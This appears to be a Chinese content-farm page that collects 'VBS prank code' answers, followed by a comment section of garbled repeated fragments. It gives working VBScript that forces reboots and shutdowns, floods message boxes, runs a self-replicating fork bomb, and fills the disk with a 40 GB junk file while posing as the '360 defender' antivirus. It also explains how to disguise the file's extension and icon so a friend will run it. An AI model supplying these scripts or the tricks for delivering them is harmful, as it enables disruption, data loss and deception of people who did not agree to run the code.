本篇文章给大家分享vbs整人代码，以及vbs整人代码炸弹对应的知识点，希望对各位有所帮助，不要忘了收藏本站哦。
内容导航：
q1：vbs整人代码
完整代码如下：
---------------------------------------------------------------------
set vbs = createobject("wscript.shell")
a = inputbox("请输入" & vbcr & """我是大笨蛋""" & vbcr & "否则电脑将立即重启。", "笨蛋炸弹")
if a <> "我是大笨蛋" then
vbs.run("shutdown -r -t 0"),vbhide
end if
---------------------------------------------------------------------
把代码拷贝到记事本里，另存文件为*.vbs，发给你朋友，让他双击这个文件他就上当了。
通过qq发送时，你可以先把后缀名改为txt或者doc之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就ok了。
给你出这么馊的注意，我都心寒……
友情提示：玩笑不要开得太大哦，让你的朋友丢失了重要资料就不好了。
q2：vbs整人的代码。
dim wshshella
set wshshella = wscript.createobject("wscript.shell")
wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是xx”，不说“我是xx”就一分钟关你的机，不信，试试……"" ",0,true
dim a
do while(a <> "我是xx，大哥我真的是xx啊!")
a = inputbox ("说我是xx，就不关机，快说，说 ""我是xx，大哥我真的是xx啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) chr(13) chr(13) a,0,"msgbox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim wshshell
set wshshell = wscript.createobject("wscript.shell")
wshshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像xx~!",vbinformation,"同感啊~~!!"
end if
next
q3：vbs整人代码
把下面的代码输到文本文档里，然后保存为后缀名为“vbs”的文件
dim a,ctr
ctr=0
const pass="是"
do while ctr<100
a=inputbox("你是猪吗？")
if a=pass then
msgbox "good"
exit do
else
ctr=ctr 1 '如果密码出错就增加一次错误认证计数
msgbox "错，你是猪！"
end if
loop
注：千万不要一下子复制，要一行一行地复制
接下来你新建一个文件夹，再弄一个快捷方式把原来的文件隐藏，现在的快捷方式点击鼠标右键-属性-更改图标，然后找一个容易让人上当的图标，再把文件夹压缩就可以发给qq好友了（嘻嘻，我就是这样整的）
q4：vbs整人代码
大量的楼上已经说了。这个是本人原创，亲测有用。毒性嘛，就是会烧cpu，然后在这个vbs旁边创建一大堆垃圾文件（请准备好30g空间）【具体在代码中】
仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.createobject("wscript.shell")
set qweb = createobject("wscript.shell")
set qwrite = createobject("scripting.filesystemobject")
set qsay = createobject("sapi.spvoice")
qstart.run "d:\病毒bgm.mp3"' 《江南皮革厂倒闭了.mp3》请准备好放在d:\
msgbox "您的电脑已被病毒入侵！",vbokonly vbexclamation,"360 defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start filehistory.exe"
qstart.run "cmd.exe /c start firewall.cpl"
qstart.run "cmd.exe /c start fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start launchtm.exe"
qstart.run "cmd.exe /c start magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start rtsnmg64.cpl"
qstart.run "cmd.exe /c start snippingtool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start tabletpc.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
a = inputbox ("说！360是不是上帝？" chr(13) chr(13) chr(13) "（“滚”已复制到剪贴板，可以粘贴。）","360 defender","不是",8000,7000)
if a = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 defender"
do
qweb.run"https://hao.360.com/"
loop
elseif a = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) "您怎么这么懒呢？",vbokonly vbquestion,"360 defender"
msgbox chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) chr(13) "是时候锻炼锻炼了",vbokonly vbinformation,"360 defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。" chr(13) "现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly vbinformation,"360 defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
elseif a = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。" chr(13) chr(13) chr(13) "这样是不可能解决问题的",vbokonly,"360 defender"
msgbox "自己探寻吧",vbokonly,"360 defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
elseif a = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 defender"
set qwriteb=qwrite.createtextfile( "d:\1.txt",,ture)
qwriteb.writeline "wscript.createobject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "d:\1.vbs" & chr(34)
qwriteb.writeline "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly vbinformation," & chr(34) & "360 defender" & chr(34)
qwriteb.close
qwrite.movefile "d:\1.txt","d:\1.vbs"
qstart.run "d:\1.vbs"
else
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。" chr(13) chr(13) "那现在先把c盘给抹咯！",vbokonly vbinformation,"360 defender"
qsay.speak ("在抹掉c盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
end if
q5：vbs小程序-弹窗整人（代码 解析）
vbs可以用来编写一些整人的小程序，那么如何编写呢？下面我就给大家分享一下。
- 01
我们首先在桌面上创建一个vbs的文件，如下图所示，注意vbs文件双击的话是直接运行的
- 02
然后我们用sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示
- 03
接下来我们双击vbs程序文件，运行上面编写的整人程序，你会看到如下图所示的弹窗效果，我们点击确定以后会不断的弹窗
- 04
最后如果你想关闭这个整人的程序只能通过在任务管理器里面右键结束任务进行关闭了，如下图所示
q6：vbs整人代码问题
发个特整人的东西给你看看，不仅特整人，还非常简单，仅仅6行
set
s=createobject("wscript.shell")
lsfile=wscript.scriptfullname
'获得自己的名称
do
'死循环
s.run
lsfile
'自己运行自己
s.run
"notepad"
'运行记事本
loop
'几秒就死机，哈
vbs整人代码的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于vbs整人代码炸弹、vbs整人代码的信息别忘了在德永信创业网进行查找哦。
标签：##
评论列表
ate.cpl"qstart.run "cmd.exe /c start write.exe"qstart.run "cmd.exe /c start wscript.exe"qstart.run "
2023年01月06日 11:00start.run "cmd.exe /c fsutil file createnew 25.bug 0"qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
2023年01月06日 10:20c之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就ok了。给你出这么馊的注意，我都心寒……友情提示：玩笑不要开得太大哦，让你的朋友丢失了重要资料就不好了。q2：vbs整人的代码。dim wshshella set wshshella = wscri
2023年01月06日 16:04